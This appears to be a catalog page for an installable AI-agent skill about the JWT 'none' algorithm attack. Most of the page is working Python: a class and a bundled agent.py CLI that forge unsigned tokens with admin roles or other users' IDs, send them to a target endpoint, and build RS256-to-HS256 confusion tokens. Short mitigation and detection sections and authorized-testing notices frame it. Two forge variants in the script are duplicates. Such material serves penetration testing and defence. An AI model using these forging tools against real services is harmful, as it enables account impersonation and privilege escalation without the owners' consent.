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api security

Performing JWT None Algorithm Attack

Execute and test the JWT none algorithm attack to bypass signature verification by manipulating the alg header field in JSON Web Tokens.

authentication-bypassjwtnone-algorithmowasppenetration-testingsignature-bypasstoken-manipulationweb-security
Install this skill
npx skills add mukul975/Anthropic-Cybersecurity-Skills
Framework mappings

MITRE ATT&CK

T1027 on the official MITRE ATT&CK siteT1059.007 on the official MITRE ATT&CK siteT1070 on the official MITRE ATT&CK siteT1190 on the official MITRE ATT&CK siteT1552.001 on the official MITRE ATT&CK site

NIST CSF 2.0

DE.CM-01 on the official NIST CSF 2.0 siteID.RA-01 on the official NIST CSF 2.0 sitePR.DS-10 on the official NIST CSF 2.0 sitePR.PS-01 on the official NIST CSF 2.0 site

Overview

The JWT none algorithm attack exploits a vulnerability in JSON Web Token libraries that accept tokens with the alg header set to none, effectively bypassing signature verification. When a server processes a JWT with "alg": "none", it treats the token as valid without checking any cryptographic signature, allowing attackers to forge tokens with arbitrary claims such as escalated privileges, impersonated users, or extended expiration times. This vulnerability was first disclosed by Tim McLean in 2015 and has affected multiple JWT libraries across languages.

When to Use

  • When conducting security assessments that involve performing jwt none algorithm attack
  • When following incident response procedures for related security events
  • When performing scheduled security testing or auditing activities
  • When validating security controls through hands-on testing

Prerequisites

  • Target application using JWT for authentication or authorization
  • Ability to intercept and modify HTTP requests (Burp Suite, mitmproxy)
  • Python 3.8+ with PyJWT library for token crafting
  • Understanding of JWT structure (Header.Payload.Signature)
  • Authorization to perform security testing on the target

Legal Notice: This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.

JWT Structure

A JWT consists of three Base64URL-encoded parts separated by dots:

Header.Payload.Signature
 
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.    # Header
eyJzdWIiOiIxMjM0IiwibmFtZSI6IkpvaG4ifQ.    # Payload
SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c  # Signature

Attack Methodology

Step 1: Capture a Valid JWT

Intercept a legitimate JWT from the target application using Burp Suite or browser developer tools:

Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwicm9sZSI6InVzZXIiLCJpYXQiOjE1MTYyMzkwMjJ9.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c

Step 2: Decode and Analyze the Token

import base64
import json
 
token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwicm9sZSI6InVzZXIiLCJpYXQiOjE1MTYyMzkwMjJ9.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c"
 
parts = token.split('.')
 
# Decode header
header = json.loads(base64.urlsafe_b64decode(parts[0] + '=='))
print(f"Header: {header}")
# Output: {'alg': 'HS256', 'typ': 'JWT'}
 
# Decode payload
payload = json.loads(base64.urlsafe_b64decode(parts[1] + '=='))
print(f"Payload: {payload}")
# Output: {'sub': '1234567890', 'name': 'John Doe', 'role': 'user', 'iat': 1516239022}

Step 3: Craft a Forged Token with None Algorithm

#!/usr/bin/env python3
"""JWT None Algorithm Attack Tool
 
Crafts JWT tokens with the 'none' algorithm to test for
signature verification bypass vulnerabilities.
"""
 
import base64
import json
import requests
import sys
from typing import Optional
 
class JWTNoneAttack:
    # All known variations of the 'none' algorithm value
    NONE_VARIANTS = [
        "none",
        "None",
        "NONE",
        "nOnE",
        "noNe",
        "NoNe",
        "nONE",
        "nonE",
    ]
 
    def __init__(self, target_url: str, original_token: str):
        self.target_url = target_url
        self.original_token = original_token
        self.original_header, self.original_payload = self._decode_token(original_token)
 
    def _base64url_encode(self, data: bytes) -> str:
        """Base64URL encode without padding."""
        return base64.urlsafe_b64encode(data).rstrip(b'=').decode('utf-8')
 
    def _base64url_decode(self, data: str) -> bytes:
        """Base64URL decode with padding restoration."""
        padding = 4 - len(data) % 4
        if padding != 4:
            data += '=' * padding
        return base64.urlsafe_b64decode(data)
 
    def _decode_token(self, token: str) -> tuple:
        """Decode JWT header and payload."""
        parts = token.split('.')
        header = json.loads(self._base64url_decode(parts[0]))
        payload = json.loads(self._base64url_decode(parts[1]))
        return header, payload
 
    def craft_none_token(self, modified_payload: dict,
                          alg_variant: str = "none") -> str:
        """Craft a JWT with the none algorithm and modified payload."""
        # Create header with none algorithm
        header = {"alg": alg_variant, "typ": "JWT"}
        header_encoded = self._base64url_encode(json.dumps(header).encode())
 
        # Encode modified payload
        payload_encoded = self._base64url_encode(json.dumps(modified_payload).encode())
 
        # Token with empty signature (just trailing dot)
        return f"{header_encoded}.{payload_encoded}."
 
    def craft_privilege_escalation(self, role_field: str = "role",
                                     admin_value: str = "admin") -> list:
        """Create tokens with escalated privileges using all none variants."""
        tokens = []
        modified_payload = dict(self.original_payload)
        modified_payload[role_field] = admin_value
 
        for variant in self.NONE_VARIANTS:
            token = self.craft_none_token(modified_payload, variant)
            tokens.append({"variant": variant, "token": token})
 
        return tokens
 
    def craft_user_impersonation(self, target_user_id: str,
                                   user_field: str = "sub") -> str:
        """Create a token impersonating another user."""
        modified_payload = dict(self.original_payload)
        modified_payload[user_field] = target_user_id
        return self.craft_none_token(modified_payload)
 
    def test_none_variants(self, endpoint: str = "/api/profile",
                            headers: Optional[dict] = None) -> list:
        """Test all none algorithm variants against the target."""
        results = []
        base_headers = headers or {}
 
        for variant in self.NONE_VARIANTS:
            modified_payload = dict(self.original_payload)
            modified_payload["role"] = "admin"
            token = self.craft_none_token(modified_payload, variant)
 
            test_headers = dict(base_headers)
            test_headers["Authorization"] = f"Bearer {token}"
 
            try:
                response = requests.get(
                    f"{self.target_url}{endpoint}",
                    headers=test_headers,
                    timeout=10
                )
                result = {
                    "variant": variant,
                    "status_code": response.status_code,
                    "accepted": response.status_code == 200,
                    "response_length": len(response.content),
                }
                results.append(result)
 
                if response.status_code == 200:
                    print(f"  [VULNERABLE] alg='{variant}' -> {response.status_code}")
                else:
                    print(f"  [SAFE] alg='{variant}' -> {response.status_code}")
 
            except requests.exceptions.RequestException as e:
                results.append({
                    "variant": variant,
                    "status_code": 0,
                    "accepted": False,
                    "error": str(e)
                })
 
        return results
 
    def test_empty_signature_variants(self) -> list:
        """Test different empty signature formats."""
        modified_payload = dict(self.original_payload)
        modified_payload["role"] = "admin"
        header = {"alg": "none", "typ": "JWT"}
 
        header_encoded = self._base64url_encode(json.dumps(header).encode())
        payload_encoded = self._base64url_encode(json.dumps(modified_payload).encode())
 
        # Different signature formats
        variants = [
            f"{header_encoded}.{payload_encoded}.",      # Empty signature with trailing dot
            f"{header_encoded}.{payload_encoded}",       # No trailing dot
            f"{header_encoded}.{payload_encoded}.AA==",  # Minimal base64 signature
        ]
 
        results = []
        for token in variants:
            results.append({"token_format": token[-20:], "token": token})
 
        return results
 
 
def main():
    if len(sys.argv) < 3:
        print("Usage: python jwt_none_attack.py <target_url> <original_token>")
        print("Example: python jwt_none_attack.py https://api.example.com eyJhbG...")
        sys.exit(1)
 
    target_url = sys.argv[1]
    original_token = sys.argv[2]
 
    attacker = JWTNoneAttack(target_url, original_token)
 
    print(f"\nOriginal Token Header: {attacker.original_header}")
    print(f"Original Token Payload: {attacker.original_payload}")
 
    print(f"\n{'='*60}")
    print("Testing None Algorithm Variants")
    print(f"{'='*60}")
    results = attacker.test_none_variants()
 
    vulnerable = [r for r in results if r.get("accepted")]
    if vulnerable:
        print(f"\n[!] VULNERABLE: {len(vulnerable)} variant(s) accepted!")
        print("[!] The server does not properly validate JWT signatures")
    else:
        print(f"\n[+] SECURE: All none algorithm variants were rejected")
 
 
if __name__ == "__main__":
    main()

Step 4: Additional JWT Attack Variants

Algorithm Confusion (RS256 to HS256): If the server uses RS256 (asymmetric), an attacker who knows the public key can:

  1. Change alg to HS256
  2. Sign the token using the public key as the HMAC secret
  3. The server may verify the signature using its public key as an HMAC key

JWK Header Injection (CVE-2018-0114):

{
  "alg": "RS256",
  "typ": "JWT",
  "jwk": {
    "kty": "RSA",
    "n": "<attacker-controlled-key>",
    "e": "AQAB"
  }
}

Mitigation Strategies

# Secure JWT verification - always specify allowed algorithms
import jwt
 
def verify_token_secure(token: str, secret_key: str) -> dict:
    """Verify JWT with explicit algorithm allowlist."""
    try:
        payload = jwt.decode(
            token,
            secret_key,
            algorithms=["HS256"],  # CRITICAL: Explicit allowlist
            options={
                "require": ["exp", "iat", "sub"],  # Required claims
                "verify_exp": True,
                "verify_iat": True,
            }
        )
        return payload
    except jwt.InvalidAlgorithmError:
        raise ValueError("Invalid token algorithm")
    except jwt.ExpiredSignatureError:
        raise ValueError("Token expired")
    except jwt.InvalidTokenError:
        raise ValueError("Invalid token")

Detection Indicators

  • JWT tokens with "alg": "none" (or case variations) in server logs
  • Tokens with empty or missing signature segments
  • Sudden change in algorithm field from normal patterns
  • Tokens with modified claims (role escalation) from the same session
  • Authorization header containing tokens with only two Base64 segments

References

Source materials

References and resources

Everything below is rendered for inspection. Script files are read-only and never run.

References 1

api-reference.md1.7 KB

API Reference — Performing JWT None Algorithm Attack

Libraries Used

  • base64: Base64url encoding/decoding for JWT components
  • hmac / hashlib: HMAC-SHA256 signing for algorithm confusion attacks
  • json: JWT header/payload serialization
  • requests (optional): Test forged tokens against live endpoints

CLI Interface

python agent.py decode --token <jwt_string>
python agent.py forge --token <jwt_string> [--claims '{"role":"admin"}']
python agent.py confuse --token <jwt_string> [--pubkey public.pem]
python agent.py test --url <api_endpoint> --token <original_jwt>

Core Functions

decode_jwt(token) — Decode JWT without verification

Returns header, payload, and vulnerability checks: alg=none, no expiry, expired, no issuer.

forge_none_token(token, modify_claims) — Create alg=none variants

Generates 6 variants: none, None, NONE, nOnE, empty signature, no trailing dot.

test_alg_confusion(token, public_key_file) — Algorithm confusion attack

Tests RS256-to-HS256 downgrade using RSA public key as HMAC secret.

test_jwt_endpoint(url, original_token, forged_tokens) — Validate against API

Sends forged tokens to target endpoint. Reports CRITICAL if any variant accepted.

JWT None Variants Tested

Variant Algorithm Header
alg_none "alg": "none"
alg_None "alg": "None"
alg_NONE "alg": "NONE"
alg_nOnE "alg": "nOnE"
empty_sig No signature segment

Severity Classification

  • CRITICAL: Any none-algorithm token accepted by server
  • INFO: All forged tokens rejected

Dependencies

pip install requests  # optional, for endpoint testing

Scripts 1

agent.py6.9 KB
Display-only source. This catalog never executes bundled scripts.
#!/usr/bin/env python3
# For authorized penetration testing and educational environments only.
# Usage against targets without prior mutual consent is illegal.
# It is the end user's responsibility to obey all applicable local, state and federal laws.
"""Agent for performing JWT 'none' algorithm attack testing."""

import json
import argparse
import base64
import hmac
import hashlib
from datetime import datetime


def b64url_encode(data):
    """Base64url encode bytes."""
    return base64.urlsafe_b64encode(data).rstrip(b"=").decode()


def b64url_decode(s):
    """Base64url decode string."""
    s += "=" * (4 - len(s) % 4)
    return base64.urlsafe_b64decode(s)


def decode_jwt(token):
    """Decode and display JWT components without verification."""
    parts = token.split(".")
    if len(parts) not in (2, 3):
        return {"error": "Invalid JWT format — expected 2 or 3 parts"}
    header = json.loads(b64url_decode(parts[0]))
    payload = json.loads(b64url_decode(parts[1]))
    signature = parts[2] if len(parts) == 3 else ""
    vuln_checks = {
        "alg_none_in_header": header.get("alg", "").lower() in ("none", ""),
        "alg_symmetric": header.get("alg", "").startswith("HS"),
        "no_expiry": "exp" not in payload,
        "expired": payload.get("exp", float("inf")) < datetime.utcnow().timestamp() if "exp" in payload else False,
        "no_issuer": "iss" not in payload,
    }
    return {"header": header, "payload": payload, "signature_present": bool(signature), "vulnerability_checks": vuln_checks}


def forge_none_token(token, modify_claims=None):
    """Forge a JWT with 'none' algorithm (removes signature)."""
    parts = token.split(".")
    payload = json.loads(b64url_decode(parts[0]))
    claims = json.loads(b64url_decode(parts[1]))
    if modify_claims:
        claims.update(modify_claims)
    none_header = b64url_encode(json.dumps({"alg": "none", "typ": "JWT"}).encode())
    new_payload = b64url_encode(json.dumps(claims).encode())
    variants = [
        {"name": "alg_none", "token": f"{none_header}.{new_payload}."},
        {"name": "alg_None", "token": f"{b64url_encode(json.dumps({'alg': 'None', 'typ': 'JWT'}).encode())}.{new_payload}."},
        {"name": "alg_NONE", "token": f"{b64url_encode(json.dumps({'alg': 'NONE', 'typ': 'JWT'}).encode())}.{new_payload}."},
        {"name": "alg_nOnE", "token": f"{b64url_encode(json.dumps({'alg': 'nOnE', 'typ': 'JWT'}).encode())}.{new_payload}."},
        {"name": "empty_sig", "token": f"{none_header}.{new_payload}"},
        {"name": "no_dot", "token": f"{none_header}.{new_payload}"},
    ]
    return {
        "original_claims": json.loads(b64url_decode(parts[1])),
        "modified_claims": claims,
        "forged_tokens": variants,
    }


def test_alg_confusion(token, public_key_file=None):
    """Test algorithm confusion (RS256 -> HS256 using public key as HMAC secret)."""
    parts = token.split(".")
    header = json.loads(b64url_decode(parts[0]))
    claims = json.loads(b64url_decode(parts[1]))
    results = {"original_alg": header.get("alg"), "tests": []}
    if public_key_file:
        try:
            pubkey = open(public_key_file, "rb").read()
            hs256_header = b64url_encode(json.dumps({"alg": "HS256", "typ": "JWT"}).encode())
            payload_b64 = b64url_encode(json.dumps(claims).encode())
            signing_input = f"{hs256_header}.{payload_b64}".encode()
            signature = b64url_encode(hmac.new(pubkey, signing_input, hashlib.sha256).digest())
            results["tests"].append({
                "name": "RS256_to_HS256_confusion",
                "forged_token": f"{hs256_header}.{payload_b64}.{signature}",
                "description": "Uses RSA public key as HMAC-SHA256 secret",
            })
        except Exception as e:
            results["tests"].append({"name": "RS256_to_HS256_confusion", "error": str(e)})
    none_header = b64url_encode(json.dumps({"alg": "none", "typ": "JWT"}).encode())
    payload_b64 = b64url_encode(json.dumps(claims).encode())
    results["tests"].append({
        "name": "alg_none_downgrade",
        "forged_token": f"{none_header}.{payload_b64}.",
        "description": "Downgrade to 'none' algorithm — removes signature",
    })
    return results


def test_jwt_endpoint(url, original_token, forged_tokens, headers=None):
    """Test forged JWTs against a target endpoint."""
    try:
        import requests
    except ImportError:
        return {"error": "requests not installed"}
    hdrs = headers or {}
    results = []
    for ft in forged_tokens:
        test_headers = {**hdrs, "Authorization": f"Bearer {ft['token']}"}
        try:
            resp = requests.get(url, headers=test_headers, timeout=10)
            accepted = resp.status_code in (200, 201, 204)
            results.append({
                "variant": ft["name"], "status": resp.status_code,
                "accepted": accepted, "body_snippet": resp.text[:200],
            })
        except Exception as e:
            results.append({"variant": ft["name"], "error": str(e)})
    orig_resp = None
    try:
        resp = requests.get(url, headers={**hdrs, "Authorization": f"Bearer {original_token}"}, timeout=10)
        orig_resp = {"status": resp.status_code, "body_length": len(resp.text)}
    except Exception:
        pass
    vulnerable = [r for r in results if r.get("accepted")]
    return {
        "url": url, "original_response": orig_resp,
        "tests": results, "vulnerable_variants": len(vulnerable),
        "finding": "JWT_NONE_VULNERABLE" if vulnerable else "JWT_NONE_REJECTED",
        "severity": "CRITICAL" if vulnerable else "INFO",
    }


def main():
    parser = argparse.ArgumentParser(description="JWT None Algorithm Attack Agent")
    sub = parser.add_subparsers(dest="command")
    d = sub.add_parser("decode", help="Decode JWT token")
    d.add_argument("--token", required=True)
    f = sub.add_parser("forge", help="Forge none-algorithm token")
    f.add_argument("--token", required=True)
    f.add_argument("--claims", help="JSON claims to modify")
    c = sub.add_parser("confuse", help="Test algorithm confusion")
    c.add_argument("--token", required=True)
    c.add_argument("--pubkey", help="RSA public key file for HS256 confusion")
    t = sub.add_parser("test", help="Test forged tokens against endpoint")
    t.add_argument("--url", required=True)
    t.add_argument("--token", required=True)
    args = parser.parse_args()
    if args.command == "decode":
        result = decode_jwt(args.token)
    elif args.command == "forge":
        claims = json.loads(args.claims) if args.claims else None
        result = forge_none_token(args.token, claims)
    elif args.command == "confuse":
        result = test_alg_confusion(args.token, args.pubkey)
    elif args.command == "test":
        forged = forge_none_token(args.token)
        result = test_jwt_endpoint(args.url, args.token, forged["forged_tokens"])
    else:
        parser.print_help()
        return
    print(json.dumps(result, indent=2, default=str))


if __name__ == "__main__":
    main()
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